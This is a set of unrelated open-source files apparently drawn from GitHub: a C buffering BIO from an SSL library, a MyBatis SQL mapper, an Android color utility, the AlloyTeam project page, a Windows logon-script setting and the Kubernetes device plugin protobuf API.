MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ #include <errno.h> #include <stdio.h> #include <string.h> #include <openssl/bio.h> #include <openssl/err.h> static int buffer_write(BIO *h, const char *buf, int num); static int buffer_read(BIO *h, char *buf, int size); static int buffer_puts(BIO *h, const char *str); static int buffer_gets(BIO *h, char *str, int size); static long buffer_ctrl(BIO *h, int cmd, long arg1, void *arg2); static int buffer_new(BIO *h); static int buffer_free(BIO *data); static long buffer_callback_ctrl(BIO *h, int cmd, bio_info_cb *fp); #define DEFAULT_BUFFER_SIZE 4096 static const BIO_METHOD methods_buffer = { .type = BIO_TYPE_BUFFER, .name = "buffer", .bwrite = buffer_write, .bread = buffer_read, .bputs = buffer_puts, .bgets = buffer_gets, .ctrl = buffer_ctrl, .create = buffer_new, .destroy = buffer_free, .callback_ctrl = buffer_callback_ctrl }; const BIO_METHOD * BIO_f_buffer(void) { return (&methods_buffer); } static int buffer_new(BIO *bi) { BIO_F_BUFFER_CTX *ctx; ctx = malloc(sizeof(BIO_F_BUFFER_CTX)); if (ctx == NULL) return (0); ctx->ibuf = malloc(DEFAULT_BUFFER_SIZE); if (ctx->ibuf == NULL) { free(ctx); return (0); } ctx->obuf = malloc(DEFAULT_BUFFER_SIZE); if (ctx->obuf == NULL) { free(ctx->ibuf); free(ctx); return (0); } ctx->ibuf_size = DEFAULT_BUFFER_SIZE; ctx->obuf_size = DEFAULT_BUFFER_SIZE; ctx->ibuf_len = 0; ctx->ibuf_off = 0; ctx->obuf_len = 0; ctx->obuf_off = 0; bi->init = 1; bi->ptr = (char *)ctx; bi->flags = 0; return (1); } static int buffer_free(BIO *a) { BIO_F_BUFFER_CTX *b; if (a == NULL) return (0); b = (BIO_F_BUFFER_CTX *)a->ptr; free(b->ibuf); free(b->obuf); free(a->ptr); a->ptr = NULL; a->init = 0; a->flags = 0; return (1); } static int buffer_read(BIO *b, char *out, int outl) { int i, num = 0; BIO_F_BUFFER_CTX *ctx; if (out == NULL) return (0); ctx = (BIO_F_BUFFER_CTX *)b->ptr; if ((ctx == NULL) || (b->next_bio == NULL)) return (0); num = 0; BIO_clear_retry_flags(b); start: i = ctx->ibuf_len; /* If there is stuff left over, grab it */ if (i != 0) { if (i > outl) i = outl; memcpy(out, &(ctx->ibuf[ctx->ibuf_off]), i); ctx->ibuf_off += i; ctx->ibuf_len -= i; num += i; if (outl == i) return (num); outl -= i; out += i; } /* We may have done a partial read. try to do more. * We have nothing in the buffer. * If we get an error and have read some data, just return it * and let them retry to get the error again. * copy direct to parent address space */ if (outl > ctx->ibuf_size) { for (;;) { i = BIO_read(b->next_bio, out, outl); if (i <= 0) { BIO_copy_next_retry(b); if (i < 0) return ((num > 0) ? num : i); if (i == 0) return (num); } num += i; if (outl == i) return (num); out += i; outl -= i; } } /* else */ /* we are going to be doing some buffering */ i = BIO_read(b->next_bio, ctx->ibuf, ctx->ibuf_size); if (i <= 0) { BIO_copy_next_retry(b); if (i < 0) return ((num > 0) ? num : i); if (i == 0) return (num); } ctx->ibuf_off = 0; ctx->ibuf_len = i; /* Lets re-read using ourselves :-) */ goto start; } static int buffer_write(BIO *b, const char *in, int inl) { int i, num = 0; BIO_F_BUFFER_CTX *ctx; if ((in == NULL) || (inl <= 0)) return (0); ctx = (BIO_F_BUFFER_CTX *)b->ptr; if ((ctx == NULL) || (b->next_bio == NULL)) return (0); BIO_clear_retry_flags(b); start: i = ctx->obuf_size - (ctx->obuf_len + ctx->obuf_off); /* add to buffer and return */ if (i >= inl) { memcpy(&(ctx->obuf[ctx->obuf_off + ctx->obuf_len]), in, inl); ctx->obuf_len += inl; return (num + inl); } /* else */ /* stuff already in buffer, so add to it first, then flush */ if (ctx->obuf_len != 0) { if (i > 0) /* lets fill it up if we can */ { memcpy(&(ctx->obuf[ctx->obuf_off + ctx->obuf_len]), in, i); in += i; inl -= i; num += i; ctx->obuf_len += i; } /* we now have a full buffer needing flushing */ for (;;) { i = BIO_write(b->next_bio, &(ctx->obuf[ctx->obuf_off]), ctx->obuf_len); if (i <= 0) { BIO_copy_next_retry(b); if (i < 0) return ((num > 0) ? num : i); if (i == 0) return (num); } ctx->obuf_off += i; ctx->obuf_len -= i; if (ctx->obuf_len == 0) break; } } /* we only get here if the buffer has been flushed and we * still have stuff to write */ ctx->obuf_off = 0; /* we now have inl bytes to write */ while (inl >= ctx->obuf_size) { i = BIO_write(b->next_bio, in, inl); if (i <= 0) { BIO_copy_next_retry(b); if (i < 0) return ((num > 0) ? num : i); if (i == 0) return (num); } num += i; in += i; inl -= i; if (inl == 0) return (num); } /* copy the rest into the buffer since we have only a small * amount left */ goto start; } static long buffer_ctrl(BIO *b, int cmd, long num, void *ptr) { BIO *dbio; BIO_F_BUFFER_CTX *ctx; long ret = 1; char *p1, *p2; int r, i, *ip; int ibs, obs; ctx = (BIO_F_BUFFER_CTX *)b->ptr; switch (cmd) { case BIO_CTRL_RESET: ctx->ibuf_off = 0; ctx->ibuf_len = 0; ctx->obuf_off = 0; ctx->obuf_len = 0; if (b->next_bio == NULL) return (0); ret = BIO_ctrl(b->next_bio, cmd, num, ptr); break; case BIO_CTRL_INFO: ret = (long)ctx->obuf_len; break; case BIO_C_GET_BUFF_NUM_LINES: ret = 0; p1 = ctx->ibuf; for (i = 0; i < ctx->ibuf_len; i++) { if (p1[ctx->ibuf_off + i] == '\n') ret++; } break; case BIO_CTRL_WPENDING: ret = (long)ctx->obuf_len; if (ret == 0) { if (b->next_bio == NULL) return (0); ret = BIO_ctrl(b->next_bio, cmd, num, ptr); } break; case BIO_CTRL_PENDING: ret = (long)ctx->ibuf_len; if (ret == 0) { if (b->next_bio == NULL) return (0); ret = BIO_ctrl(b->next_bio, cmd, num, ptr); } break; case BIO_C_SET_BUFF_READ_DATA: if (num > ctx->ibuf_size) { p1 = malloc(num); if (p1 == NULL) goto malloc_error; free(ctx->ibuf); ctx->ibuf = p1; } ctx->ibuf_off = 0; ctx->ibuf_len = (int)num; memcpy(ctx->ibuf, ptr, num); ret = 1; break; case BIO_C_SET_BUFF_SIZE: if (ptr != NULL) { ip = (int *)ptr; if (*ip == 0) { ibs = (int)num; obs = ctx->obuf_size; } else /* if (*ip == 1) */ { ibs = ctx->ibuf_size; obs = (int)num; } } else { ibs = (int)num; obs = (int)num; } p1 = ctx->ibuf; p2 = ctx->obuf; if ((ibs > DEFAULT_BUFFER_SIZE) && (ibs != ctx->ibuf_size)) { p1 = malloc(num); if (p1 == NULL) goto malloc_error; } if ((obs > DEFAULT_BUFFER_SIZE) && (obs != ctx->obuf_size)) { p2 = malloc(num); if (p2 == NULL) { if (p1 != ctx->ibuf) free(p1); goto malloc_error; } } if (ctx->ibuf != p1) { free(ctx->ibuf); ctx->ibuf = p1; ctx->ibuf_off = 0; ctx->ibuf_len = 0; ctx->ibuf_size = ibs; } if (ctx->obuf != p2) { free(ctx->obuf); ctx->obuf = p2; ctx->obuf_off = 0; ctx->obuf_len = 0; ctx->obuf_size = obs; } break; case BIO_C_DO_STATE_MACHINE: if (b->next_bio == NULL) return (0); BIO_clear_retry_flags(b); ret = BIO_ctrl(b->next_bio, cmd, num, ptr); BIO_copy_next_retry(b); break; case BIO_CTRL_FLUSH: if (b->next_bio == NULL) return (0); if (ctx->obuf_len <= 0) { ret = BIO_ctrl(b->next_bio, cmd, num, ptr); break; } for (;;) { BIO_clear_retry_flags(b); if (ctx->obuf_len > 0) { r = BIO_write(b->next_bio, &(ctx->obuf[ctx->obuf_off]), ctx->obuf_len); BIO_copy_next_retry(b); if (r <= 0) return ((long)r); ctx->obuf_off += r; ctx->obuf_len -= r; } else { ctx->obuf_len = 0; ctx->obuf_off = 0; break; } } ret = BIO_ctrl(b->next_bio, cmd, num, ptr); break; case BIO_CTRL_DUP: dbio = (BIO *)ptr; if (!BIO_set_read_buffer_size(dbio, ctx->ibuf_size) || !BIO_set_write_buffer_size(dbio, ctx->obuf_size)) ret = 0; break; default: if (b->next_bio == NULL) return (0); ret = BIO_ctrl(b->next_bio, cmd, num, ptr); break; } return (ret); malloc_error: BIOerror(ERR_R_MALLOC_FAILURE); return (0); } static long buffer_callback_ctrl(BIO *b, int cmd, bio_info_cb *fp) { long ret = 1; if (b->next_bio == NULL) return (0); switch (cmd) { default: ret = BIO_callback_ctrl(b->next_bio, cmd, fp); break; } return (ret); } static int buffer_gets(BIO *b, char *buf, int size) { BIO_F_BUFFER_CTX *ctx; int num = 0, i, flag; char *p; ctx = (BIO_F_BUFFER_CTX *)b->ptr; size--; /* reserve space for a '\0' */ BIO_clear_retry_flags(b); for (;;) { if (ctx->ibuf_len > 0) { p = &(ctx->ibuf[ctx->ibuf_off]); flag = 0; for (i = 0; (i < ctx->ibuf_len) && (i < size); i++) { *(buf++) = p[i]; if (p[i] == '\n') { flag = 1; i++; break; } } num += i; size -= i; ctx->ibuf_len -= i; ctx->ibuf_off += i; if (flag || size == 0) { *buf = '\0'; return (num); } } else /* read another chunk */ { i = BIO_read(b->next_bio, ctx->ibuf, ctx->ibuf_size); if (i <= 0) { BIO_copy_next_retry(b); *buf = '\0'; if (i < 0) return ((num > 0) ? num : i); if (i == 0) return (num); } ctx->ibuf_len = i; ctx->ibuf_off = 0; } } } static int buffer_puts(BIO *b, const char *str) { return (buffer_write(b, str, strlen(str))); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" > <mapper namespace="com.hunt.dao.SysOrganizationMapper"> <resultMap id="baseResultMap" type="com.hunt.model.entity.SysOrganization"> <result column="id" property="id" jdbcType="BIGINT"/> <result column="name" property="name" jdbcType="VARCHAR"/> <result column="full_name" property="fullName" jdbcType="VARCHAR"/> <result column="description" property="description" jdbcType="VARCHAR"/> <result column="is_final" property="isFinal" jdbcType="INTEGER"/> <result column="parent_id" property="parentId" jdbcType="BIGINT"/> <result column="rank" property="rank" jdbcType="BIGINT"/> <result column="create_time" property="createTime" jdbcType="TIMESTAMP"/> <result column="update_time" property="updateTime" jdbcType="TIMESTAMP"/> <result column="create_by" property="createBy" jdbcType="BIGINT"/> <result column="update_by" property="updateBy" jdbcType="BIGINT"/> <result column="status" property="status" jdbcType="TINYINT"/> </resultMap> <!-- --> <sql id="sql_column"> id, name, fullName, description, isFinal, parentId, rank, createTime, updateTime, createBy, updateBy, status </sql> <sql id="sql_column_where"> <if test="id !=null "> AND id = #{id} </if> <if test="name !=null and name.length() != 0"> AND name = #{name} </if> <if test="fullName !=null and fullName.length() != 0"> AND full_name = #{fullName} </if> <if test="description !=null and description.length() != 0"> AND description = #{description} </if> <if test="isFinal !=null "> AND is_final = #{isFinal} </if> <if test="parentId !=null "> AND parent_id = #{parentId} </if> <if test="rank !=null "> AND rank = #{rank} </if> <if test="createTime !=null "> AND create_time = #{createTime} </if> <if test="updateTime !=null "> AND update_time = #{updateTime} </if> <if test="createBy !=null "> AND create_by = #{createBy} </if> <if test="updateBy !=null "> AND update_by = #{updateBy} </if> <if test="status !=null "> AND status = #{status} </if> </sql> <insert id="insert" parameterType="SysOrganization" useGeneratedKeys="true" keyProperty="id"> insert into sys_organization <trim prefix="(" suffix=")" suffixOverrides=","> <if test="name !=null and name.length() !=0"> name, </if> <if test="fullName !=null and fullName.length() !=0"> full_name, </if> <if test="description !=null and description.length() !=0"> description, </if> <if test="isFinal !=null"> is_final, </if> <if test="parentId !=null"> parent_id, </if> <if test="rank !=null"> rank, </if> <if test="createTime !=null"> create_time, </if> <if test="updateTime !=null"> update_time, </if> <if test="createBy !=null"> create_by, </if> <if test="updateBy !=null"> update_by, </if> <if test="status !=null"> status, </if> </trim> <trim prefix="values (" suffix=")" suffixOverrides=","> <if test="name !=null and name.length() !=0"> #{name}, </if> <if test="fullName !=null and fullName.length() !=0"> #{fullName}, </if> <if test="description !=null and description.length() !=0"> #{description}, </if> <if test="isFinal !=null"> #{isFinal}, </if> <if test="parentId !=null"> #{parentId}, </if> <if test="rank !=null"> #{rank}, </if> <if test="createTime !=null"> #{createTime}, </if> <if test="updateTime !=null"> #{updateTime}, </if> <if test="createBy !=null"> #{createBy}, </if> <if test="updateBy !=null"> #{updateBy}, </if> <if test="status !=null"> #{status}, </if> </trim> </insert> <update id="update" parameterType="SysOrganization"> update sys_organization <set> <if test="id !=null"> id = #{id}, </if> <if test="name !=null and name.length() !=0"> name = #{name}, </if> <if test="fullName !=null and fullName.length() !=0"> full_name = #{fullName}, </if> <if test="description !=null and description.length() !=0"> description = #{description}, </if> <if test="isFinal !=null"> is_final = #{isFinal}, </if> <if test="parentId !=null"> parent_id = #{parentId}, </if> <if test="rank !=null"> rank = #{rank}, </if> <if test="createTime !=null"> create_time = #{createTime}, </if> <if test="updateTime !=null"> update_time = #{updateTime}, </if> <if test="createBy !=null"> create_by = #{createBy}, </if> <if test="updateBy !=null"> update_by = #{updateBy}, </if> <if test="status !=null"> status = #{status}, </if> </set> where id =#{id} and status=1 </update> <select id="select" parameterType="SysOrganization" resultType="SysOrganization"> select * from sys_organization where <where> <include refid="sql_column_where"/> </where> </select> <select id="selectById" parameterType="long" resultType="SysOrganization"> SELECT * FROM sys_organization WHERE id = #{id} AND status = 1 </select> <select id="selectAll" resultType="SysOrganization"> SELECT * FROM sys_organization WHERE status = 1 </select> <select id="selectCounts" resultType="integer"> SELECT count(*) FROM sys_organization WHERE status = 1 </select> <select id="selectChildren" resultType="com.hunt.model.entity.SysOrganization"> SELECT * FROM sys_organization WHERE status = 1 AND parent_id = #{parentId} </select> <select id="isExistFullName" resultType="java.lang.Boolean"> SELECT exists( SELECT * FROM sys_organization WHERE status = 1 AND full_name = #{fullName} ) </select> <select id="isExistFullNameExcludeId" resultType="java.lang.Boolean"> SELECT exists( SELECT * FROM sys_organization WHERE status = 1 AND id != #{id} AND full_name = #{fullName} ) </select> </mapper>
{ "pile_set_name": "Github" }
#include <minix-modules>
{ "pile_set_name": "Github" }
/* * Copyright (C) 2016 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.example.android.recyclerview; import android.content.Context; import android.graphics.Color; import android.support.v4.content.ContextCompat; /** * ColorUtils is a class with one method, used to color the ViewHolders in * the RecyclerView. I put in a separate class in an attempt to keep the * code organized. * * We aren't going to go into detail about how this method works, but feel * free to explore! */ public class ColorUtils { /** * This method returns the appropriate shade of green to form the gradient * seen in the list, based off of the order in which the * {@link com.example.android.recyclerview.GreenAdapter.NumberViewHolder} * instance was created. * * This method is used to show how ViewHolders are recycled in a RecyclerView. * At first, the colors will form a nice, consistent gradient. As the * RecyclerView is scrolled, the * {@link com.example.android.recyclerview.GreenAdapter.NumberViewHolder}'s will be * recycled and the list will no longer appear as a consistent gradient. * * @param context Context for getting colors * @param instanceNum Order in which the calling ViewHolder was created * * @return A shade of green based off of when the calling ViewHolder * was created. */ public static int getViewHolderBackgroundColorFromInstance(Context context, int instanceNum) { switch (instanceNum) { case 0: return ContextCompat.getColor(context, R.color.material50Green); case 1: return ContextCompat.getColor(context, R.color.material100Green); case 2: return ContextCompat.getColor(context, R.color.material150Green); case 3: return ContextCompat.getColor(context, R.color.material200Green); case 4: return ContextCompat.getColor(context, R.color.material250Green); case 5: return ContextCompat.getColor(context, R.color.material300Green); case 6: return ContextCompat.getColor(context, R.color.material350Green); case 7: return ContextCompat.getColor(context, R.color.material400Green); case 8: return ContextCompat.getColor(context, R.color.material450Green); case 9: return ContextCompat.getColor(context, R.color.material500Green); case 10: return ContextCompat.getColor(context, R.color.material550Green); case 11: return ContextCompat.getColor(context, R.color.material600Green); case 12: return ContextCompat.getColor(context, R.color.material650Green); case 13: return ContextCompat.getColor(context, R.color.material700Green); case 14: return ContextCompat.getColor(context, R.color.material750Green); case 15: return ContextCompat.getColor(context, R.color.material800Green); case 16: return ContextCompat.getColor(context, R.color.material850Green); case 17: return ContextCompat.getColor(context, R.color.material900Green); default: return Color.WHITE; } } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="author" content="Tencent.AlloyTeam.Jetyu" /> <meta name="copyright" content="Tencent.AlloyTeam" /> <meta name="keyword" content="腾讯 Web 前端团队 - AlloyTeam, 腾讯Web前端大会" /> <title>腾讯 Web 前端团队 - AlloyTeam</title> <link href="./style/main.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> // 测速 var _speedMark = new Date(); // 倒计时 var getLastDay = function(time){ var now = new Date(); var lastTime = time.getTime() - now.getTime(); var lastDay = Math.ceil(lastTime / (1000 * 60 * 60 * 24)); if (lastDay < 0){ lastDay = 0; } return lastDay; } // 呵呵,Z.P. var lastDay6= getLastDay(new Date("2015-3-20")); // 呵呵,A.L. var lastDay7= getLastDay(new Date("2015-3-29")); // 呵呵,IP var lastDay8= getLastDay(new Date("2015-5-21")); // 呵呵,T.S. var lastDay9= getLastDay(new Date("2015-5-22")); // 呵呵,A.A. var lastDay10= getLastDay(new Date("2015-12-22")); </script> </head> <body> <div class="title">Tencent AlloyTeam <script>document.write(new Date().getFullYear());</script></div> <img class="logo" src="./style/image/alloy.png" /> <div class="breath" title="One Team, One Dream! ">light</div> <div class="helpus2" ontouchend="document.querySelector('.paycode').style.display='block'"> <div class="paycode"> <img src="./style/image/wechatpaycode.png" /> <img src="./style/image/alipaycode.png" /> <div>如果你觉得我们Alloyteam团队的博客和开源项目给你带来价值,可以通过捐赏支持我们<br />有你的支持,我们会做得更好!</div> </div> </div> <div class="workListBoard"> <h3>Works List</h3> <ul class="workList"> <li><a target="_blank" href="http://github.com/AlloyTeam/">Working on Github.com</a></li> <li><a target="_blank" href="http://alloyteam.github.io/CodeGuide/">团队规范文档<span class="new">新</span></a></li> <li><a target="_blank" href="http://www.AlloyTeam.com/">腾讯 AlloyTeam 团队博客</a></li> <h5>- 2020 -</h5> <li><a target="_blank" href="https://github.com/AlloyTeam/alloy-worker">面向事务的 WebWorker 框架——AlloyWorker<span class="new">新</span></a></li> <h5>- 2017 -</h5> <li><a target="_blank" href="https://github.com/Tencent/omi">下一代 Web 框架——Omi<span class="new">新</span></a></li> <li><a target="_blank" href="https://alloyteam.github.io/curvejs/">HTML5 Canvas魔幻线条——CurveJs</a></li> <li><a target="_blank" href="https://github.com/AlloyTeam/AlloyCrop">移动Web图像裁剪解决方案——AlloyCrop</a></li> <li><a target="_blank" href="https://dntzhang.github.io/pasition/">超级小的Path过渡动画类库——pasition</a></li> <li><a target="_blank" href="http://github.com/AlloyTeam/AlloyLever">1kb代码搞定开发调试监控上报查错——AlloyLever</a></li> <li><a target="_blank" href="https://www.npmjs.com/package/md2site">Markdown转网站神器——Md2site</a></li> <li><a target="_blank" href="https://github.com/AlloyTeam/AlloyViewer">React移动端图片查看器——AlloyViewer</a></li> <li><a target="_blank" href="http://alloyteam.github.io/AlloyTouch/transformjs/">变形特效解决方案——transformjs</a></li> <li><a target="_blank" href="http://github.com/AlloyTeam/AlloyTouch">60FPS的触摸运动——AlloyTouch</a></li> <h5>- 2016 -</h5> <!--li><a target="_blank" href="###">神秘HTML5动画创作工具{代号010},发布倒计时:<script>document.write(lastDay7);</script> <span class="new">新</span></a></li> <li><a target="_blank" href="###">神秘HTML5游戏{代号009},发布倒计时:<script>document.write(lastDay9);</script> <span class="new">新</span></a></li> <li><a target="_blank" href="###">神秘HTML5创作工具{代号008},发布倒计时:<script>document.write(lastDay8);</script> <span class="new">新</span></a></li> <li><a target="_blank" href="###">神秘HTML5动画引擎{代号007},发布倒计时:<script>document.write(lastDay7);</script> <span class="new">新</span></a></li--> <li><a target="_blank" href="https://github.com/AlloyTeam/AlloyFinger">超轻量级 Web 手势库——AlloyFinger</a></li> <li><a target="_blank" href="https://alloyteam.github.io/AlloyFlow">为工作流而生——AlloyFlow</a></li> <li><a target="_blank" href="https://alloyteam.github.io/AlloyTicker">时间旅行者——AlloyTicker</a></li> <h5>- 2015 -</h5> <li><a target="_blank" href="http://github.com/AlloyTeam/AlloyRender">HTML5 游戏引擎——AlloyGameEngine</a></li> <li><a target="_blank" href="http://alloyteam.github.io/Rosin/">移动 Web 调试工具——Rosin</a></li> <li><a target="_blank" href="http://dntzhang.github.io/zoom/">图片【超分辨率】放大器</a></li> <h5>- 2014 -</h5> <li><a target="_blank" href="http://alloyteam.github.io/AlloyStick/">HTML5 骨骼动画引擎——AlloyStick</a></li> <li><a target="_blank" href="http://CodeStar.AlloyTeam.com/">腾讯 CodeStar 第二季 <前端突击队> </a></li> <h5>- 2013 -</h5> <li><a target="_blank" href="http://alloyteam.github.io/AlloyDesigner/">新概念 Web 开发工具——AlloyDesigner</a></li> <li><a target="_blank" href="http://alloyteam.github.io/JXAnimate/">基于 CSS3 的并行动画引擎——JXAnimate</a></li> <li><a target="_blank" href="http://alloyteam.github.io/Spirit/">腾讯移动 Web 整体解决方案——Spirit</a></li> <li><a target="_blank" href="http://CodeStar.AlloyTeam.com/q1/">腾讯 CodeStar 第一季 <前端代码特工></a></li> <h5>- 2012 -</h5> <li><a target="_blank" href="./hello_html5.html">Hello HTML5</a></li> <li><a target="_blank" href="http://alloyteam.github.io/AlloyPhoto/">HTML5 专业级图像处理引擎——AlloyImage</a></li> <li><a target="_blank" href="http://wc.alloyteam.com/">HTML5 体感游戏《墙来了》</a></li> <li><a target="_blank" href="http://www.alloyteam.com/wp-content/demos/css3-tencent-qq-logo-advanced/">CSS3 绘制腾讯 QQ 企鹅 Logo 动画版</a></li> <!--li><a target="_blank" href="http://www.alloyteam.com/2012/10/css3-draw-qq-logo/">CSS3 绘制腾讯 QQ 企鹅 Logo</a></li--> <h5>- 2011 -</h5> <li><a target="_blank" href="http://alloyteam.github.io/AlloyTimer/">AlloyTimer 之番茄工作法</a></li> <li><a target="_blank" href="http://tencentopen.github.io/proj/AlloyDesktop/index.html">Alloy Desktop 桌面 App 开发引擎</a></li> <h5>- 2010 -</h5> <li><a target="_blank" href="http://alloyteam.github.io/JXUI/">JX UI 组件库</a></li> <li><a target="_blank" href="http://alloyteam.github.io/StreetFighter/">HTML5 街头霸王</a></li> <li><a target="_blank" href="http://codetank.alloyteam.com/">CodeTank(代码坦克)</a></li> <li><a target="_blank" href="http://css3lib.alloyteam.com/">CSS3 UI Lib</a></li> <h5>- 2009 -</h5> <li><a target="_blank" href="http://www.alloyteam.com/2012/06/nodejs-smart-merging-css-wizard-tool-intelligentspriter/">NodeJs 智能合并 CSS 精灵图工具——iSpriter</a></li> <li><a target="_blank" href="http://www.alloyteam.com/2012/05/web-front-end-tool-rythem-1/">跨平台 Web 抓包合并替换工具——Rythem</a></li> <li><a target="_blank" href="http://www.alloyteam.com/?p=1050">Go!Png HTML5 的 Sprite 图片合体工具</a></li> <!--li><a target="_blank" href="http://www.alloyteam.com/2012/05/dev-tools-chrome-live-reload/">Live Reload</a></li> <li><a target="_blank" href="https://chrome.google.com/webstore/detail/omofllbfhlganmbmnnkneakndffbgkci">CSS Viewer</a></li> <li><a target="_blank" href="https://chrome.google.com/webstore/detail/emajkockhmibmpnkbohiipfidkifdjhp">CSS Catcher</a></li--> <h5>- 2008 -</h5> <li><a target="_blank" href="http://alloyteam.github.io/JX/">JX</a></li> <h5>- AlloyTeam -</h5> <li><a target="_blank" href="http://www.AlloyTeam.com/about/">About</a></li> </ul> </div> <div class="copyright">Copyright &copy; <script>document.write(new Date().getFullYear());</script> <a href="http://www.AlloyTeam.com/" target="_blank">AlloyTeam.com</a>. All Rights Reserved.</div> <script type="text/javascript" src="http://tajs.qq.com/stats?sId=40373280" charset="UTF-8"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-23019343-9']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html>
{ "pile_set_name": "Github" }
[Logon] 0CmdLine = \\garming\netlogon\f.bat 0Parameters =
{ "pile_set_name": "Github" }
// To regenerate api.pb.go run hack/update-device-plugin.sh syntax = 'proto3'; package v1beta1; import "github.com/gogo/protobuf/gogoproto/gogo.proto"; option (gogoproto.goproto_stringer_all) = false; option (gogoproto.stringer_all) = true; option (gogoproto.goproto_getters_all) = true; option (gogoproto.marshaler_all) = true; option (gogoproto.sizer_all) = true; option (gogoproto.unmarshaler_all) = true; option (gogoproto.goproto_unrecognized_all) = false; // Registration is the service advertised by the Kubelet // Only when Kubelet answers with a success code to a Register Request // may Device Plugins start their service // Registration may fail when device plugin version is not supported by // Kubelet or the registered resourceName is already taken by another // active device plugin. Device plugin is expected to terminate upon registration failure service Registration { rpc Register(RegisterRequest) returns (Empty) {} } message DevicePluginOptions { // Indicates if PreStartContainer call is required before each container start bool pre_start_required = 1; } message RegisterRequest { // Version of the API the Device Plugin was built against string version = 1; // Name of the unix socket the device plugin is listening on // PATH = path.Join(DevicePluginPath, endpoint) string endpoint = 2; // Schedulable resource name. As of now it's expected to be a DNS Label string resource_name = 3; // Options to be communicated with Device Manager DevicePluginOptions options = 4; } message Empty { } // DevicePlugin is the service advertised by Device Plugins service DevicePlugin { // GetDevicePluginOptions returns options to be communicated with Device // Manager rpc GetDevicePluginOptions(Empty) returns (DevicePluginOptions) {} // ListAndWatch returns a stream of List of Devices // Whenever a Device state change or a Device disapears, ListAndWatch // returns the new list rpc ListAndWatch(Empty) returns (stream ListAndWatchResponse) {} // Allocate is called during container creation so that the Device // Plugin can run device specific operations and instruct Kubelet // of the steps to make the Device available in the container rpc Allocate(AllocateRequest) returns (AllocateResponse) {} // PreStartContainer is called, if indicated by Device Plugin during registeration phase, // before each container start. Device plugin can run device specific operations // such as reseting the device before making devices available to the container rpc PreStartContainer(PreStartContainerRequest) returns (PreStartContainerResponse) {} } // ListAndWatch returns a stream of List of Devices // Whenever a Device state change or a Device disapears, ListAndWatch // returns the new list message ListAndWatchResponse { repeated Device devices = 1; } /* E.g: * struct Device { * ID: "GPU-fef8089b-4820-abfc-e83e-94318197576e", * State: "Healthy", *} */ message Device { // A unique ID assigned by the device plugin used // to identify devices during the communication // Max length of this field is 63 characters string ID = 1; // Health of the device, can be healthy or unhealthy, see constants.go string health = 2; } // - PreStartContainer is expected to be called before each container start if indicated by plugin during registration phase. // - PreStartContainer allows kubelet to pass reinitialized devices to containers. // - PreStartContainer allows Device Plugin to run device specific operations on // the Devices requested message PreStartContainerRequest { repeated string devicesIDs = 1; } // PreStartContainerResponse will be send by plugin in response to PreStartContainerRequest message PreStartContainerResponse { } // - Allocate is expected to be called during pod creation since allocation // failures for any container would result in pod startup failure. // - Allocate allows kubelet to exposes additional artifacts in a pod's // environment as directed by the plugin. // - Allocate allows Device Plugin to run device specific operations on // the Devices requested message AllocateRequest { repeated ContainerAllocateRequest container_requests = 1; } message ContainerAllocateRequest { repeated string devicesIDs = 1; } // AllocateResponse includes the artifacts that needs to be injected into // a container for accessing 'deviceIDs' that were mentioned as part of // 'AllocateRequest'. // Failure Handling: // if Kubelet sends an allocation request for dev1 and dev2. // Allocation on dev1 succeeds but allocation on dev2 fails. // The Device plugin should send a ListAndWatch update and fail the // Allocation request message AllocateResponse { repeated ContainerAllocateResponse container_responses = 1; } message ContainerAllocateResponse { // List of environment variable to be set in the container to access one of more devices. map<string, string> envs = 1; // Mounts for the container. repeated Mount mounts = 2; // Devices for the container. repeated DeviceSpec devices = 3; // Container annotations to pass to the container runtime map<string, string> annotations = 4; } // Mount specifies a host volume to mount into a container. // where device library or tools are installed on host and container message Mount { // Path of the mount within the container. string container_path = 1; // Path of the mount on the host. string host_path = 2; // If set, the mount is read-only. bool read_only = 3; } // DeviceSpec specifies a host device to mount into a container. message DeviceSpec { // Path of the device within the container. string container_path = 1; // Path of the device on the host. string host_path = 2; // Cgroups permissions of the device, candidates are one or more of // * r - allows container to read from the specified device. // * w - allows container to write to the specified device. // * m - allows container to create device files that do not yet exist. string permissions = 3; }
{ "pile_set_name": "Github" }
